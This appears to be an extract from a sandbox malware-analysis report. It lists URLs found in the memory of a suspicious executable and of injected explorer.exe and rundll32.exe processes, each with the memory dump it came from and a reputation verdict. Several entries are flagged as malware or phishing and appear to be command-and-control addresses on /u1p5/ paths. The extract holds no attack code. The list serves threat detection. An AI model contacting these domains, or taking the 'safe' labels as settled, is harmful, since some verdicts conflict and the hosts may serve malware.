http://www.piertrafesa.com/u1p5/www.vinewineltd.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.freeclothesonline.com/u1p5/www.apeutah.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.sajatypeworks.com	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.rhoads-music.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kailibianminwang.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pbcgotv.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.piertrafesa.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yannickrast.com/u1p5/www.rhoads-music.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.rhoads-music.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apeutah.com/u1p5/www.jovam.xyz	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.zhongyicts.com.cn	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	H4vBtZsi8xAKaMm.exe, 00000001.00000002.340630386.00000000032D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://bettingweb365.com/u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD	rundll32.exe, 00000013.00000002.801147155.000000000541F000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yannickrast.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 0000000F.00000000.363498621.0000000006840000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.434119185.0000000006840000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.348701953.0000000006840000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.382832125.0000000006840000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.pbcgotv.com/u1p5/www.kailibianminwang.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.verifyaxcx.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apeutah.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dasmonica.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hokabrazil.com/u1p5/www.hornnbach.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.hornnbach.com/u1p5/www.piertrafesa.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dasmonica.com/u1p5/www.freeclothesonline.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.piertrafesa.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jovam.xyz/u1p5/www.hokabrazil.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.jovam.xyz	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apeutah.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pbcgotv.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kailibianminwang.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vzn2aai2qj.icuReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vinewineltd.com/u1p5/www.pbcgotv.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.dasmonica.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vzn2aai2qj.icu/u1p5/www.deutscheno1.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.agengrosirfashion.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.freeclothesonline.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hokabrazil.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.jovam.xyz/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.fontbureau.com/designersG	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jovam.xyzReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.verifyaxcx.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.deutscheno1.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pbcgotv.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.piertrafesa.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yannickrast.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.dasmonica.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.kailibianminwang.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.typography.netD	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.agengrosirfashion.com/u1p5/www.dasmonica.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.galapagosdesign.com/staff/dennis.htm	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.agengrosirfashion.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apeutah.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.hokabrazil.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.freeclothesonline.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
